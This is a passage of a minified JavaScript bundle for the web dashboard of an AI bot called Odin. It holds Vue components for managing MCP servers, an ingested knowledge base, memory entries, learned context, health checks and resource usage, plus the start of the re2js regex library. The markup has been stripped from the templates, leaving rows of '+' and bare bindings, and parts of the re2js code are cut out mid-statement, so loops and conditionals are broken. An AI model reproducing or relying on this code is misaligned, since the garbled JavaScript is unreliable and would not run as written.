Y({quiet:!0})}catch(Oe){m.value=Oe.message||"Failed to save MCP server"}finally{y.value=!1}}}let Se=null;function Te(le){`${(le==null?void 0:le.event)||""} ${(le==null?void 0:le.type)||""} ${(le==null?void 0:le.tool)||""} ${(le==null?void 0:le.message)||""}`.toLowerCase().includes("mcp")&&(Se&&window.clearTimeout(Se),Se=window.setTimeout(()=>Y({quiet:!0}),200))}function $e(){A||(A=!0,S||(wt.subscribe("events",Te),S=!0),Y(),ee())}function st(){A=!1,Q(),Se&&window.clearTimeout(Se),Se=null,S&&(wt.unsubscribe("events",Te),S=!1)}return dt($e),hs($e),as(st),It(st),{status:t,loading:e,mutating:s,pageError:o,servers:O,masterEnabled:I,aggregate:J,limitsSaving:n,limitsError:a,limitsAvailable:r,limitDraft:i,limitDirty:l,editLimit:De,saveLimits:E,expandedServers:u,toolQueries:d,toolErrors:B,toolsLoading:h,editorOpen:b,editorMode:w,editingName:_,editingServer:C,form:v,formError:m,saving:y,editorGroups:L,configuredHeaderKeys:ie,configuredEnvKeys:te,savedHttpEndpoint:R,endpointRequired:j,endpointFieldLabel:N,endpointPlaceholder:z,refreshAll:Y,busy:re,serverState:_e,stateLabel:Ge,transportLabel:de,protocolLabel:ue,toolSummary:ve,formatAge:qD,setMasterEnabled:M,togglePending:$,toggleServerEnabled:se,reconnect:V,refreshTools:Ce,removeServer:fe,toggleTools:be,filteredTools:W,setToolQuery:pe,openAdd:ne,openEdit:ke,closeEditor:we,jumpToEditorGroup:Le,addSecretRow:je,removeSecretRow:tt,toggleSecretRemoval:lt,saveServer:ae}}};function KD(t,e){if(!t||!e)return qB(t);const s=qB(t),n=e.trim().split(/\s+/).filter(Boolean);if(!n.length)return s;const a=n.map(i=>i.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")).join("|");try{return s.replace(new RegExp(`(${a})`,"gi"),'$1')}catch{return s}}const WD={template:` +
    +
    +

    Knowledge

    +
    + + +
    +
    + + +
    +
    + {{ sources.length }} + Sources +
    +
    + {{ totalChunks }} + Chunks +
    +
    + {{ uploaderCount }} + Uploaders +
    +
    + + +
    + + + +
    + + +
    +
    + Search Results {{ searchResults.length }} + for "{{ lastQuery }}" +
    +
    +

    Search error: {{ searchError }}

    +
    +
    + + No results for "{{ lastQuery }}" + Try different search terms or ingest more documents +
    +
    +
    +
    + {{ r.source || 'unknown' }} + {{ r.score.toFixed(3) }} + chunk #{{ r.chunk_index }} +
    +
    +
    +
    +
    + + +
    +

    Ingest Document

    +
    + +
    +
    + +
    +
    {{ ingestError }}
    +
    + {{ ingestSuccess }} +
    + +
    + + +
    +
    +
    + +
    + + No documents ingested + Click "Ingest Document" to add knowledge for Odin to reference +
    +
    +
    + Sources {{ sources.length }} +
    +
    +
    + +
    + + + {{ s.source || s.name || s }} + {{ s.chunks || 0 }} chunks + {{ s.uploader }} +
    + + +
    +
    + + +
    + Ingested: {{ formatTs(s.ingested_at) }} +
    +
    {{ s.preview }}
    + + +
    + {{ reingestResult.message }} +
    + + +
    +
    +
    Loading chunks... +
    +
    +
    + {{ sourceChunks[s.source || s.name || s].length }} chunks + Ingested: {{ formatTs(s.ingested_at) }} +
    +
    +
    + #{{ chunk.chunk_index }} + {{ chunk.char_count }} chars +
    +
    +
    +
    +
    {{ chunk.content }}
    +
    {{ truncate(chunk.content, 120) }}
    +
    +
    +
    Couldn't load chunks — {{ chunkErrors[s.source || s.name || s] }}. Collapse and expand to retry.
    +
    No chunks found
    +
    +
    +
    +
    + + + +
    `,setup(){const t=f([]),e=f(!0),s=f(null),n=f(""),a=f(null),i=f(!1),l=f(""),r=f(null),o=f(!1),c=f(""),u=f(""),d=f(null),p=f(null),B=f("success"),h=f(!1),b=f(null),w=f(null);let _=null;const C=f(null),v=f(!1),m=f({}),y=f({}),k=f({}),x=f({}),A=new Map,S=f(null),L=G(()=>t.value.reduce((Y,re)=>Y+(re.chunks||0),0)),O=G(()=>new Set(t.value.map(re=>re.uploader).filter(Boolean)).size);function I(Y,re){const K=y.value[re];if(!K||K.length===0)return 0;const _e=Math.max(...K.map(Ge=>Ge.char_count||0));return _e===0?0:Math.round(Y.char_count/_e*100)}async function J(){e.value=!0,s.value=null;try{const Y=await U.get("/api/knowledge");t.value=Array.isArray(Y)?Y:[]}catch(Y){s.value=Y.message}e.value=!1}async function ie(Y){if(m.value[Y]){m.value[Y]=!1,S.value=null;return}if(m.value[Y]=!0,Object.prototype.hasOwnProperty.call(y.value,Y))return;if(A.has(Y))return A.get(Y);const re={...x.value,[Y]:!0};x.value=re;const K={...k.value};delete K[Y],k.value=K;const _e=U.get(`/api/knowledge/${encodeURIComponent(Y)}/chunks`).then(Ge=>{y.value={...y.value,[Y]:Array.isArray(Ge)?Ge:[]}}).catch(Ge=>{k.value={...k.value,[Y]:Ge.message||"load failed"}}).finally(()=>{if(A.get(Y)!==_e)return;A.delete(Y);const Ge={...x.value};delete Ge[Y],x.value=Ge});return A.set(Y,_e),_e}let te=0;async function R(){const Y=n.value.trim();if(!Y)return;const re=++te;i.value=!0,r.value=null,l.value=Y;try{const K=await U.get(`/api/knowledge/search?q=${encodeURIComponent(Y)}`);if(re!==te)return;a.value=Array.isArray(K)?K:[]}catch(K){if(re!==te)return;a.value=[],r.value=K.message||"Search failed"}re===te&&(i.value=!1)}function j(){te+=1,i.value=!1,a.value=null,n.value="",r.value=null}async function N(){d.value=null,p.value=null,B.value="success";const Y=c.value.trim(),re=u.value.trim();if(!Y){d.value="Source name is required";return}if(!re){d.value="Content is required";return}h.value=!0;try{const K=await U.post("/api/knowledge",{source:Y,content:re}),_e=K.outcome==="duplicate"||K.outcome==="conflict";K.outcome==="unchanged"?(p.value=`Already stored unchanged: "${Y}" (${K.chunks} chunks)`,c.value="",u.value=""):_e?(B.value="warning",p.value=K.message||K.status):Number.isInteger(K.chunks)&&K.chunks>0?(p.value=`Ingested ${K.chunks} chunks from "${Y}"`,c.value="",u.value=""):(B.value="warning",p.value="Ingestion returned no confirmed stored content; check the source before retrying."),y.value={},await J(),!_e&&B.value==="success"&&setTimeout(()=>{o.value=!1,p.value=null},1500)}catch(K){d.value=K.message}h.value=!1}async function z(Y){b.value=Y,w.value=null,_&&(clearTimeout(_),_=null);try{const re=await U.post(`/api/knowledge/${encodeURIComponent(Y)}/reingest`),K=re.outcome==="duplicate"||re.outcome==="conflict";w.value={source:Y,error:!1,warning:K,message:K?re.message||re.status:re.outcome==="unchanged"?`Already stored unchanged (${re.chunks} chunks)`:`Re-ingested ${re.chunks||0} chunks`},K||(delete y.value[Y],await J()),_=setTimeout(()=>{w.value=null,_=null},3e3)}catch(re){w.value={source:Y,error:!0,message:re.message}}b.value=null}function ee(Y){C.value=Y}async function Q(){if(C.value){v.value=!0;try{await U.del(`/api/knowledge/${encodeURIComponent(C.value)}`),delete y.value[C.value],await J()}catch(Y){Ie.error(`Failed to delete source: ${Y.message||"unknown error"}`)}v.value=!1,C.value=null}}return dt(()=>{J()}),{sources:t,loading:e,error:s,searchQuery:n,searchResults:a,searching:i,lastQuery:l,searchError:r,showIngest:o,ingestSource:c,ingestContent:u,ingestError:d,ingestSuccess:p,ingestNoticeType:B,ingesting:h,reingesting:b,reingestResult:w,deleteTarget:C,deleting:v,expanded:m,sourceChunks:y,chunkErrors:k,loadingChunks:x,selectedChunk:S,totalChunks:L,uploaderCount:O,truncate:Kp,formatTs:Ki,highlightTerms:KD,chunkBarWidth:I,fetchSources:J,toggleSource:ie,doSearch:R,clearSearch:j,doIngest:N,doReingest:z,confirmDelete:ee,doDelete:Q}}},QD={template:` +
    +
    +

    Memory

    +
    + + +
    +
    + + +
    +
    + {{ totalEntries }} + Entries +
    +
    + {{ scopes.length }} + Scopes +
    +
    + {{ selectedCount }} + Selected +
    +
    + + Select entries to delete +
    +
    + + +
    + +
    + + +
    +

    Add Memory Entry

    +
    +
    + +
    +
    + +
    +
    +
    + +
    +
    {{ addError }}
    +
    {{ addSuccess }}
    + +
    + + +
    +
    +

    {{ actionError }}

    + +
    +
    + + +
    +
    +
    + +
    + + No memory entries + Click "Add Entry" or let Odin learn preferences through conversations +
    + + +
    +
    + +
    + + + {{ scope.name }} + + {{ scope.count }} keys + +
    + + +
    +
    +
    Loading... +
    +
    + {{ filterQuery ? 'No matching keys' : 'No entries' }} +
    +
    +
    +
    + + {{ entry.key }} +
    + + + +
    +
    +
    + +
    + + +
    +
    + +
    {{ entry.value }}
    +
    +
    +
    +
    +
    + + + + + + +
    `,setup(){const t=f([]),e=f({}),s=f(!0),n=f(null),a=f({}),i=f(null),l=f(""),r=f(!1),o=f({scope:"global",key:"",value:""}),c=f(!1),u=f(null),d=f(null),p=f(null),B=f(""),h=f(!1),b=f(null),w=f(null),_=f(new Set),C=f(null),v=f(!1),m=f(!1),y=G(()=>t.value.reduce((Y,re)=>Y+re.count,0)),k=G(()=>_.value.size);function x(Y){const re=e.value[Y];if(!re)return[];if(!l.value.trim())return re;const K=l.value.trim().toLowerCase();return re.filter(_e=>_e.key.toLowerCase().includes(K)||_e.value&&_e.value.toLowerCase().includes(K))}function A(Y,re){return _.value.has(Y+"/"+re)}function S(Y,re){const K=Y+"/"+re,_e=new Set(_.value);_e.has(K)?_e.delete(K):_e.add(K),_.value=_e}function L(Y){const re=e.value[Y];return!re||re.length===0?!1:re.every(K=>_.value.has(Y+"/"+K.key))}function O(Y,re){const K=e.value[Y];if(!K)return;const _e=new Set(_.value);for(const Ge of K){const de=Y+"/"+Ge.key;re?_e.add(de):_e.delete(de)}_.value=_e}async function I(){s.value=!0,n.value=null;try{const Y=await U.get("/api/memory");t.value=Object.entries(Y).map(([re,K])=>({name:re,keys:K.keys||[],count:K.count||0}))}catch(Y){n.value=Y.message}s.value=!1}async function J(Y){if(a.value[Y]){a.value[Y]=!1;return}a.value[Y]=!0;const re=t.value.find(_e=>_e.name===Y);if(!re||e.value[Y]||i.value===Y)return;i.value=Y;let K;try{const Ge=(await U.get(`/api/memory/${encodeURIComponent(Y)}`)).entries||{};K=re.keys.map(de=>Object.prototype.hasOwnProperty.call(Ge,de)?{key:de,value:Ge[de]||"",failed:!1}:{key:de,value:"",failed:!0,error:"Not found in scope"})}catch(_e){K=re.keys.map(Ge=>({key:Ge,value:"",failed:!0,error:_e.message||"Failed to load"}))}e.value[Y]=K,i.value=null}function ie(Y,re,K){p.value=Y+"/"+re,B.value=K}async function te(Y,re){h.value=!0,b.value=null;try{await U.put(`/api/memory/${encodeURIComponent(Y)}/${encodeURIComponent(re)}`,{value:B.value});const K=e.value[Y];if(K){const _e=K.find(Ge=>Ge.key===re);_e&&(_e.value=B.value)}p.value=null}catch(K){b.value=`Failed to save: ${K.message||"unknown error"}`}h.value=!1}async function R(Y,re){try{await navigator.clipboard.writeText(re.value),w.value=Y+"/"+re.key,setTimeout(()=>{w.value=null},1500)}catch{}}async function j(){u.value=null,d.value=null;const Y=o.value.scope.trim(),re=o.value.key.trim(),K=o.value.value.trim();if(!Y){u.value="Scope is required";return}if(!re){u.value="Key is required";return}if(!K){u.value="Value is required";return}c.value=!0;try{await U.put(`/api/memory/${encodeURIComponent(Y)}/${encodeURIComponent(re)}`,{value:K}),d.value="Entry saved",o.value={scope:"global",key:"",value:""},e.value={},await I(),setTimeout(()=>{r.value=!1,d.value=null},800)}catch(_e){u.value=_e.message}c.value=!1}function N(Y,re){C.value={scope:Y,key:re}}async function z(){if(!C.value)return;v.value=!0,b.value=null;const{scope:Y,key:re}=C.value;try{await U.del(`/api/memory/${encodeURIComponent(Y)}/${encodeURIComponent(re)}`);const K=e.value[Y];K&&(e.value[Y]=K.filter(de=>de.key!==re));const _e=t.value.find(de=>de.name===Y);_e&&(_e.count--,_e.keys=_e.keys.filter(de=>de!==re));const Ge=new Set(_.value);Ge.delete(Y+"/"+re),_.value=Ge}catch(K){b.value=`Failed to delete: ${K.message||"unknown error"}`}v.value=!1,C.value=null}function ee(){m.value=!0}async function Q(){v.value=!0,b.value=null;const Y=[];for(const re of _.value){const K=re.indexOf("/");Y.push({scope:re.slice(0,K),key:re.slice(K+1)})}try{await U.post("/api/memory/bulk-delete",{entries:Y}),_.value=new Set,e.value={},await I()}catch(re){b.value=`Bulk delete failed: ${re.message||"unknown error"}`}v.value=!1,m.value=!1}return dt(()=>{I()}),{scopes:t,scopeEntries:e,loading:s,error:n,expanded:a,loadingScope:i,filterQuery:l,showAdd:r,addForm:o,adding:c,addError:u,addSuccess:d,editingKey:p,editValue:B,saving:h,actionError:b,copied:w,selected:_,selectedCount:k,totalEntries:y,deleteTarget:C,deleting:v,showBulkDelete:m,fetchMemory:I,toggleScope:J,startEdit:ie,doEdit:te,copyValue:R,doAdd:j,confirmDelete:N,doDelete:z,confirmBulkDelete:ee,doBulkDelete:Q,isSelected:A,toggleSelect:S,isScopeAllSelected:L,toggleSelectAll:O,filteredEntries:x}}},YD={components:{DiscordIdentity:hi},template:` +
    +
    +
    +

    Learned Context

    +

    + {{ entries.length }} entries | Last reflection: {{ formatTs(meta.last_reflection) }} +

    +
    + +
    + +
    +
    +
    +

    Automatic learning

    +

    When off, Odin neither creates automatic lessons nor adds stored learned entries to model context. Existing entries are retained.

    +

    Current state: {{ learningEnabled ? 'On' : 'Off' }}

    + +

    Checking administrator configuration…

    +
    + +
    +
    + +
    +
    +
    +
    +

    {{ error }}

    + +
    +
    + + No learned entries yet + Existing entries remain available whether automatic learning is on or off +
    + +
    + +
    + +
    + + +
    +
    +
    +
    + {{ entry.key }} + {{ entry.category }} + + user: + +
    +
    + +
    + + +
    +
    +

    {{ entry.content }}

    +
    + Created: {{ formatTs(entry.created_at) }} + | Updated: {{ formatTs(entry.updated_at) }} +
    +
    +
    + + +
    +
    +
    +
    +
    + `,setup(){const t=f([]),e=f(null),s=f(!0),n=f(null),a=f(null),i=f(null),l=f(""),r=f(!1),o=f(!1),c=f(null),u=f(!1),d=G(()=>[...new Set(t.value.map(k=>k.category))].sort()),p=G(()=>{const y={};return t.value.forEach(k=>{y[k.category]=(y[k.category]||0)+1}),y}),B=G(()=>a.value?t.value.filter(y=>y.category===a.value):t.value);function h(y){return y==="correction"?"badge-warning":y==="operational"?"badge-info":y==="preference"?"badge-success":"badge-info"}function b(y){i.value=y.key,l.value=y.content}async function w(y){try{await U.put("/api/learned/"+encodeURIComponent(y),{content:l.value}),i.value=null,Ie.success("Entry updated"),await C()}catch(k){Ie.error(k.message||"Failed to save entry")}}async function _(y){if(await Es({title:"Delete learned entry",message:`Delete "${y}"? Odin will no longer apply this learned context.`,confirmLabel:"Delete",danger:!0}))try{await U.del("/api/learned/"+encodeURIComponent(y)),Ie.success("Entry deleted"),await C()}catch(x){Ie.error(x.message||"Failed to delete entry")}}async function C(){s.value=!0,n.value=null;try{const y=await U.get("/api/learned");t.value=y.entries||[],e.value={last_reflection:y.last_reflection,count:y.count}}catch(y){n.value=y.message}s.value=!1}async function v(){var y;o.value=!1,c.value=null;try{const k=await U.get("/api/config");r.value=((y=k.learning)==null?void 0:y.enabled)===!0,o.value=!0}catch(k){c.value=k.status===403?"Administrator access is required to change automatic learning.":k.message||"Automatic learning state is unavailable."}}async function m(y){if(!(!o.value||u.value)){u.value=!0,c.value=null;try{if(await U.put("/api/config",{learning:{enabled:y}}),await v(),!o.value)return;Ie.success(`Automatic learning ${r.value?"enabled":"disabled"}`)}catch(k){o.value=!1,c.value=k.status===403?"Administrator access is required to change automatic learning.":k.message||"Failed to change automatic learning."}finally{u.value=!1}}}return dt(()=>{C(),v()}),{entries:t,meta:e,loading:s,error:n,filterCat:a,editing:i,editContent:l,categories:d,catCounts:p,filtered:B,learningEnabled:r,configReady:o,configError:c,savingConfig:u,catBadge:h,formatTs:Ki,startEdit:b,saveEdit:w,deleteEntry:_,fetchEntries:C,fetchLearningConfig:v,setLearningEnabled:m}}},vb=[{id:"tools",label:"Tools",component:ID},{id:"skills",label:"Skills",component:ND},{id:"mcp-servers",label:"MCP Servers",component:VD},{id:"knowledge",label:"Knowledge",component:WD},{id:"memory",label:"Memory",component:QD},{id:"learned",label:"Learned",component:YD}],ZD={components:{TabbedPage:iu},setup(){return{tabs:vb}},template:''},XD={ok:"text-green-400",degraded:"text-yellow-400",down:"text-red-400",unconfigured:"text-gray-500"},eS={ok:"success",degraded:"warning",down:"error",unconfigured:"minus"},tS={healthy:"text-green-400",degraded:"text-yellow-400",unhealthy:"text-red-400"},sS={template:` +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + + + +
    +
    +

    Last refresh failed: {{ error }} — showing the most recent data.

    +
    + +
    +
    +
    + +
    +
    {{ overallLabel }}
    +
    + {{ data.healthy_count }} healthy, {{ data.degraded_count }} degraded, {{ data.down_count }} down, {{ data.unconfigured_count }} unconfigured +
    +
    +
    +
    + Updated {{ formatTime(data.checked_at) }} + +
    +
    +
    + + +
    +
    +
    + + {{ formatName(c.name) }} + {{ c.status }} +
    +
    {{ c.detail }}
    + + +
    +
    Configured hosts:
    +
    + + {{ h.alias }} + {{ h.ssh_user }}@{{ h.address }} + ({{ h.os }}) +
    +
    + Pool: {{ c.metadata.active_connections || 0 }} active, + {{ c.metadata.total_reused || 0 }} reused, + {{ c.metadata.total_opened || 0 }} opened +
    +
    + + +
    +
    + Model: + {{ c.metadata.model || 'unknown' }} +
    +
    + Circuit: + {{ c.metadata.circuit_breaker }} +
    +
    + Pool: + {{ c.metadata.http_pool_active_connections || 0 }}/{{ c.metadata.http_pool_max_connections || 0 }} connections +
    +
    + Requests: + {{ c.metadata.http_pool_total_requests || 0 }} total +
    +
    + + +
    +
    + Chunks: + {{ c.metadata.chunks || 0 }} +
    +
    + Vector search: + + {{ c.metadata.vector_search ? 'enabled' : 'FTS only' }} + +
    +
    + + +
    +
    + Active: + {{ c.metadata.count || 0 }} session(s) +
    +
    + Tokens: + {{ formatNumber(c.metadata.total_tokens || 0) }} +
    +
    + {{ c.metadata.over_budget }} over budget +
    +
    + + +
    +
    + {{ key }}: + {{ val }} +
    +
    +
    +
    +
    +
    `,setup(){const t=f({}),e=f(!0),s=f(null),n=f(!1),a=f(!1),i=G(()=>t.value.components||[]),l=G(()=>tS[t.value.overall]||"text-gray-400"),r=G(()=>t.value.overall==="healthy"?"success":t.value.overall==="degraded"?"warning":t.value.overall==="unhealthy"?"error":"minus"),o=G(()=>{const x=t.value.overall;return x==="healthy"?"All Systems Healthy":x==="degraded"?"Some Systems Degraded":x==="unhealthy"?"System Issues Detected":"Unknown"});function c(x){return XD[x]||"text-gray-400"}function u(x){return eS[x]||"info"}function d(x){return x==="ok"?"badge-success":x==="degraded"?"badge-warning":x==="down"?"badge-danger":"badge-info"}function p(x){return x==="closed"?"text-green-400":x==="half_open"?"text-yellow-400":x==="open"?"text-red-400":"text-gray-400"}function B(x){return x.replace(/_/g," ").replace(/\b\w/g,A=>A.toUpperCase())}function h(x){if(!x)return"—";try{return new Date(x).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit",second:"2-digit"})}catch{return x}}function b(x){return x>=1e6?(x/1e6).toFixed(1)+"M":x>=1e3?(x/1e3).toFixed(1)+"K":String(x)}const w=fi(()=>{e.value=!1,a.value=!1});async function _(){const x=w();a.value=!0;try{const A=await U.get("/api/health/components");if(!x())return;t.value=A,s.value=null,n.value=!0}catch(A){if(!x())return;s.value=A.message}finally{x()&&(e.value=!1,a.value=!1)}}function C(){e.value=!0,s.value=null,_()}let v=null,m=!1;function y(){m||(m=!0,_(),v||(v=setInterval(_,3e4)))}function k(){m&&(m=!1,v&&(clearInterval(v),v=null))}return dt(y),hs(y),as(k),It(k),{data:t,hasData:n,loading:e,error:s,refreshing:a,components:i,overallColor:l,overallIcon:r,overallLabel:o,statusColor:c,statusIcon:u,badgeClass:d,circuitColor:p,formatName:B,formatTime:h,formatNumber:b,fetchHealth:_,retry:C}}},nS={template:` +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + + + +
    +
    +

    Last refresh failed: {{ error }} — showing the most recent data.

    +
    + +
    +

    Resource Usage

    +
    + {{ collectedAt }} + +
    +
    + + +
    +
    +
    {{ data.sessions.active_count }}
    +
    Active Sessions
    +
    +
    +
    {{ fmtNum(data.knowledge.chunk_count) }}
    +
    Knowledge Chunks
    +
    +
    +
    {{ fmtNum(data.trajectories.total_count) }}
    +
    Trajectories Saved
    +
    +
    +
    {{ data.storage_total_mb }} MB
    +
    Total Storage
    +
    +
    + + +
    + +
    + + +
    +
    +
    +
    {{ fmtNum(data.sessions.total_tokens) }}
    +
    Total Tokens
    +
    +
    +
    {{ fmtNum(data.sessions.total_messages) }}
    +
    Total Messages
    +
    +
    +
    + {{ data.sessions.over_budget_count }} +
    +
    Over Budget
    +
    +
    +
    {{ data.sessions.persist_dir.total_mb }} MB
    +
    Persist Storage
    +
    +
    + +
    +

    Per-Session Breakdown

    +
    + + + + + + + + + + + + + + + +
    ChannelTokensMessagesSummary
    {{ s.channel_id }}{{ fmtNum(s.tokens) }}{{ s.messages }} + + {{ s.has_summary ? 'Yes' : 'No' }} + +
    +
    +
    +
    + No active sessions +
    +
    + + +
    +
    +
    +
    {{ data.knowledge.source_count }}
    +
    Sources
    +
    +
    +
    {{ fmtNum(data.knowledge.chunk_count) }}
    +
    Chunks
    +
    +
    +
    + {{ data.knowledge.vector_search ? 'Vector + FTS' : 'FTS Only' }} +
    +
    Search Mode
    +
    +
    +
    {{ data.knowledge.db_file.total_mb }} MB
    +
    DB Size
    +
    +
    + +
    +

    Ingested Sources

    +
    + + + + + + + + + + + + + +
    SourceChunksUploader
    {{ s.source }}{{ s.chunks }}{{ s.uploader }}
    +
    +
    +
    + {{ data.knowledge.available ? 'No documents ingested' : 'Knowledge store unavailable' }} +
    +
    + + +
    +
    +
    +
    {{ fmtNum(data.trajectories.message_count) }}
    +
    Message Turns
    +
    +
    +
    {{ fmtNum(data.trajectories.agent_count) }}
    +
    Agent Turns
    +
    +
    +
    {{ data.trajectories.message_dir.file_count }}
    +
    Message Files
    +
    +
    +
    {{ data.trajectories.combined_mb }} MB
    +
    Total Volume
    +
    +
    + +
    + +
    +

    + Message Trajectory Files + ({{ data.trajectories.message_dir.total_mb }} MB) +

    +
    +
    + {{ f }} +
    +
    +
    No trajectory files yet
    +
    + + +
    +

    + Agent Trajectory Files + ({{ data.trajectories.agent_dir.total_mb }} MB) +

    +
    +
    + {{ f }} +
    +
    +
    No agent trajectory files yet
    +
    +
    +
    + + +
    +
    +

    Storage Breakdown

    +
    +
    +
    + {{ item.label }} + {{ item.mb }} MB ({{ item.files }} files) +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + `,setup(){const t=f(!0),e=f(null),s=f(!1),n=f(!1),a=f("sessions"),i=f(null);let l=null;const r=[{key:"sessions",label:"Sessions"},{key:"knowledge",label:"Knowledge"},{key:"trajectories",label:"Trajectories"},{key:"storage",label:"Storage"}],o=G(()=>{if(!i.value||!i.value.collected_at)return"";try{return new Date(i.value.collected_at).toLocaleTimeString()}catch{return""}}),c=G(()=>{if(!i.value)return[];const _=i.value,C=_.storage_total_bytes||1;return[{label:"Session Persistence",mb:_.sessions.persist_dir.total_mb,bytes:_.sessions.persist_dir.total_bytes,files:_.sessions.persist_dir.file_count,pct:Math.min(100,Math.round(_.sessions.persist_dir.total_bytes/C*100)),color:"res-bar-blue"},{label:"Knowledge Database",mb:_.knowledge.db_file.total_mb,bytes:_.knowledge.db_file.total_bytes,files:_.knowledge.db_file.file_count,pct:Math.min(100,Math.round(_.knowledge.db_file.total_bytes/C*100)),color:"res-bar-purple"},{label:"Message Trajectories",mb:_.trajectories.message_dir.total_mb,bytes:_.trajectories.message_dir.total_bytes,files:_.trajectories.message_dir.file_count,pct:Math.min(100,Math.round(_.trajectories.message_dir.total_bytes/C*100)),color:"res-bar-emerald"},{label:"Agent Trajectories",mb:_.trajectories.agent_dir.total_mb,bytes:_.trajectories.agent_dir.total_bytes,files:_.trajectories.agent_dir.file_count,pct:Math.min(100,Math.round(_.trajectories.agent_dir.total_bytes/C*100)),color:"res-bar-amber"}]}),u=fi(()=>{t.value=!1,n.value=!1});async function d(){const _=u();try{const C=await U.get("/api/resource-usage");if(!_())return;i.value=C,e.value=null,s.value=!0}catch(C){if(!_())return;e.value=C.message||"Failed to load resource usage"}finally{_()&&(t.value=!1,n.value=!1)}}async function p(){n.value=!0,await d()}function B(){t.value=!0,e.value=null,d()}let h=!1;function b(){h||(h=!0,d(),l||(l=setInterval(d,3e4)))}function w(){h&&(h=!1,l&&(clearInterval(l),l=null))}return dt(b),hs(b),as(w),It(w),{hasData:s,loading:t,error:e,refreshing:n,data:i,activeTab:a,tabs:r,collectedAt:o,storageItems:c,fmtNum:Wp,refresh:p,retry:B}}};/*! +* re2js +* RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching +* +* @version v2.8.6 +* @author Oleksii Vasyliev +* @homepage https://github.com/le0pard/re2js#readme +* @repository github:le0pard/re2js +* @license MIT +*/var jt,xe=(jt=class{},ye(jt,"FOLD_CASE",1),ye(jt,"LITERAL",2),ye(jt,"CLASS_NL",4),ye(jt,"DOT_NL",8),ye(jt,"ONE_LINE",16),ye(jt,"NON_GREEDY",32),ye(jt,"PERL_X",64),ye(jt,"UNICODE_GROUPS",128),ye(jt,"WAS_DOLLAR",256),ye(jt,"LOOKBEHIND",512),ye(jt,"MATCH_NL",jt.CLASS_NL|jt.DOT_NL),ye(jt,"PERL",jt.CLASS_NL|jt.ONE_LINE|jt.PERL_X|jt.UNICODE_GROUPS),ye(jt,"POSIX",0),ye(jt,"UNANCHORED",0),ye(jt,"ANCHOR_START",1),ye(jt,"ANCHOR_BOTH",2),jt);const al={CASE_INSENSITIVE:1,DOTALL:2,MULTILINE:4,DISABLE_UNICODE_GROUPS:8,LONGEST_MATCH:16,LOOKBEHINDS:512},Kr=128,Md=new Int32Array(Kr),Pd=new Int32Array(Kr),No=65535;for(let t=0;t=97&&t<=122?Md[t]=t-32:Md[t]=t,t>=65&&t<=90?Pd[t]=t+32:Pd[t]=t;var sd,he=(sd=class{static toUpperCase(t){if(tNo?2:1;if(e.length>s)return t;const n=String.fromCodePoint(e.codePointAt(0)).toLowerCase(),a=n.codePointAt(0)>No?2:1;return n.length>a||n.codePointAt(0)!==t?t:e.codePointAt(0)}static toLowerCase(t){if(tNo?2:1;if(e.length>s)return t;const n=String.fromCodePoint(e.codePointAt(0)).toUpperCase(),a=n.codePointAt(0)>No?2:1;return n.length>a||n.codePointAt(0)!==t?t:e.codePointAt(0)}},ye(sd,"CODES",new Map([["\x07",7],["\b",8],[" ",9],[` +`,10],["\v",11],["\f",12],["\r",13],[" ",32],['"',34],["$",36],["&",38],["'",39],["(",40],[")",41],["*",42],["+",43],["-",45],[".",46],["0",48],["1",49],["2",50],["3",51],["4",52],["5",53],["6",54],["7",55],["8",56],["9",57],[":",58],["<",60],[">",62],["?",63],["A",65],["B",66],["C",67],["F",70],["P",80],["Q",81],["U",85],["Z",90],["[",91],["\\",92],["]",93],["^",94],["_",95],["`",96],["a",97],["b",98],["f",102],["i",105],["m",109],["n",110],["r",114],["s",115],["t",116],["v",118],["x",120],["z",122],["{",123],["|",124],["}",125]])),sd),P=class{constructor(t,e=!1){this.data=t,this.isStride1=e,this.SIZE=e?2:3}getLo(t){return this.data[t*this.SIZE]}getHi(t){return this.data[t*this.SIZE+1]}getStride(t){return this.isStride1?1:this.data[t*this.SIZE+2]}get length(){return this.data.length/this.SIZE}};const bb=new Uint8Array(256);for(let t=0,e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-";t<64;t++)bb[e.charCodeAt(t)]=t;const Cb=t=>{const e=[];let s=0,n=0;for(let a=0;a{const s=Cb(t),n=e?s.length/2:s.length/3,a=new Uint32Array(n*3);let i=0,l=0;for(let r=0;r{const e=Cb(t),s=new Map;let n=0;for(let a=0;a>>1^-(i&1);s.set(n,n+l)}return s};var Fo=class{constructor(t){this.initializer=t,this.cache=new Map}has(t){return t in this.initializer}get(t){if(this.cache.has(t))return this.cache.get(t);const e=this.initializer[t],s=e?e():null;return this.cache.set(t,s),s}},ei,fn=(ei=class{static get CASE_ORBIT(){return 